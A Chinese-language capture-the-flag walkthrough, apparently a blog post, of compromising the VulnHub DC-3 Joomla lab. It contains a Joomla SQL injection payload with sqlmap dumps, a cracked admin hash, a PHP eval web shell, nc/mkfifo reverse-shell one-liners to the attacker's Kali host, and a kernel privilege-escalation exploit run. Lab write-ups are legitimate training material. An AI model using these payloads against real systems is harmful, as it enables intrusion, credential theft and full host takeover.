dc-3通关详解

一、环境搭建:

1、靶场描述

DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花你很长时间(事实上,它可能只需要不到20分钟)。如果是这种情况,如果你想让它更具挑战性,你可以重做挑战,探索其他获得根和获得旗帜的方法。

只有一个flag

2、下载靶场环境

    靶场下载地址:

https://www.vulnhub.com/entry/dc-32,312/

二,渗透靶场

1,目标:还是我们搭建的靶场,靶场IP为192.168.0.0/24

因为本机IP是192.168.0,8,所以可得出靶机IP为192.168.0.12

3,信息收集:探查端口和服务

命令:nmap -A -p- -v 192.168.0.12

然后发现了开放了80端口,有web服务,Apache/2.4.18,CMS为Joomla

4,登录火狐页面有个DC-3

意思就是告诉我们这次DC-3只有一个目标获得root权限

三,.使用joomscan进行扫描获取后台地址,由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla,我们可以采用joomscan进行扫描,如果我们不知道是joomla,我们可以采用目录扫描或者nikto等扫描工具进行扫描

1,joomscan简单的命令使用:

枚举已安装的组件:

perl joomscan.pl --url www.example.com --enumerate-components

perl joomscan.pl -u www.example.com –ec

设置cookie:

perl joomscan.pl --url www.example.com --cookie "test=demo;"

设置user-agent:

perl joomscan.pl --url www.example.com --user-agent "Googlebot/2.1(+http://www.googlebot.com/bot.html)"

perl joomscan.pl -u www.example.com -a "Googlebot/2.1(+http://www.googlebot.com/bot.html)"

设置随机user-agent

perl joomscan.pl -u www.example.com --random-agent

perl joomscan.pl --url www.example.com -r

执行默认检测:

perl joomscan.pl --url www.example.com

perl joomscan.pl -u www.example.com

更新JoomScan:

perl joomscan.pl –update

.joomScan扫描

joomscan --url http://192.168.0.12 提示没有joomscan 选择y安装

扫描后晓得了joomla cms版本为3.7.0,得到网站的后台地址为:http://192.168.0.12/administrator/

打开链接就进入了这个页面

四,使用nikto扫描并获取后台地址

1.Nikto简介

    Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等

2.Nikto简单使用

1、常规的命令扫描

nikto -host/-h http://127.0.0.1

nikto -h http://127.0.0.1

2、可以指定端口进行扫描,同样可以指定SSL协议,进行HTTPS扫描。

nikto -h http:// 127.0.0.1 -p 443 ssl

3、指定子目录进行目录爆破

nikto -h http:// 127.0.0.1 -C /dvwa

4、批量扫描

nikto -host list.txt

5、升级更新插件

nikto -update

6、查看工具版本和插件版本

nikto -V

7、查看插件信息

nikto -list-plugins

8、命令查看帮助信息

nikto

9、查看更详细的帮助信息

nikto -H

man nikto

3.Nikto扫描

    我们前面已经知道了CMS是joomla和后台地址,其实这一步没有任何意义,这里就是简单过一下,弄不弄无所谓

nikto --url http://192.168.0.12/

五,查询漏洞发现sql注入的存在 

      1,   我们知道了cms是loomla,版本是3.7.0,使用searchsploit检查到有对应的漏洞

命令:searchsploit joomla 3.7.0

这时我们发现了一个sql注入同时还有一个xss

2,查看一下漏洞的提示信息

命令:searchsploit -m 42033.txt,cat 42033.txt

信息如下

我们看到了POC,把localhost修改为我们的靶机IP就ok

http://192.168.0.12/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

3.这里显示数据库语句错误,这就说明了进行了拼接,有存在SQL的注入

六,sqlmap跑出数据

1,跑出全部数据库

命令:sqlmap -u "http://192.168.0.12/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch

扫描结果如下

2, 获取当前数据库的名字joomladb

命令:sqlmap -u "http://192.168.0.12/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch

命令:sqlmap -u "http://192.168.0.12/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch

看到表名,我们会关注#__users这张表

3,获取joomladb的users表的字段名

命令:sqlmap -u "http://192.168.0.12/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

第一步:选择y然后回车

第二步:也是选择y

第三步:1,2都可以

第四步:使用10线程

最后的结果是跑出了6个字段

4,获取目标字段username和password

命令:sqlmap -u "http://192.168.0.12/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch

成功拿到了一个用户名和一个加密的密码

七,利用John爆破密码snoopy

使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。

1,创建一个1.txt并把加密的密码字段写进去:

命令:echo ' $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu ' > 1.txt

2,使用John所破解出admin的密码是snoopy

命令:John 1.txt

八,使用获取到的账号和密码进行登录

http://192.168.0.12/administrator/

账号密码:admin/snoopy

页面显示登陆成功

九,上传webshell

1,这里发现了一个上传点(倒数第二个)点击templates

2,进入后点击:Beez3 Details and Files进入

3.然后点击New File

4,这里我们发现可以上传文件及木马 ,同时也可以创建文件进行编写,如果上传木马的话得先找到当前文件所在的目录

目录地址为:http://192.168.0.12/templates/beez3/html/,然后进行访问

5,然后我们再回到之前那个页面再次点击NewFile,在html下创建一个PHP文件,名字叫做shell

最后点击create

6,创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存

<?php

echo ("密码是a");

@eval($_REQUEST [a]);

?>

点击save进行保存即可

7,这时再次访问:192.168.0.12/templates/beez3/html/,就会发现下面多了一个shell。PHP,进行访问一下

打开后里面会设置我们会先的内容,则表示文件上传成功十,打开蚁剑管理webshell,右键添加数据:    http://192.168.0.12/templates/beez3/html/shell.php

点击添加,显示添加成功

十一,右键数据进入虚拟终端执行whoami查询我的权限,是www-data权限

十二,这会反弹shell到kali那里,但是蚁剑的没有kali的清晰明了

1,kali监听

命令:nc -lvvp 1234

2,靶机连接

回到蚁剑中的终端输入

命令: nc -e /bin/bash 192.168.0.8 1234

发现-e这个参数不可用

使用下面这个目录连接

命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.8 1234 >/tmp/f

3,回到kali输入ls

十三,创建交互式shell

经常用shell的都知道这个shell不好用,我们建立一个交互式shell

  常用的就是python创建交互式shell

命令:python3 -c 'import pty; pty.spawn("/bin/bash")'

十四,使用辅助脚本发现提权漏洞

1,下载辅助脚本,下载地址:https://github.com/mzet-/linux-exploit-suggester

2,上传辅助脚本,直接在蚁剑中上传即可

上传成功

3,发现漏洞

命令:ls -l linux-exploit-suggester.sh

但是发现没有权限,所以我们得给他加个执行文件

命令:chmod +x linux-exploit-suggester.sh

4,执行脚本

命令:./linux-exploit-suggester.sh,看到很多可用的漏洞哈哈哈

十五,使用辅助脚本提权

1,首先获取提权脚本,上面有很多,随意挑一个

CVE- 2016-4557

在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载

也可以去searchsploit里面去看看 

2,因为地址跟上面的一样的话也不能使用,可以使用下面这个链接直接下载

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/blob/main/bin-sploits/39772.zip

上传文件

3,提权

解压文件

命令:unzip 39772.zip

命令:cd 33792

ls

tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

./compile.sh

./doubleput

然后执行完之后,提权成功

4,现在获得root权限

十六,发现the-flag.txt

ls

cat the-flag.txt

通关完成,恭喜贺喜各位宝子们又学会了一项技能

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值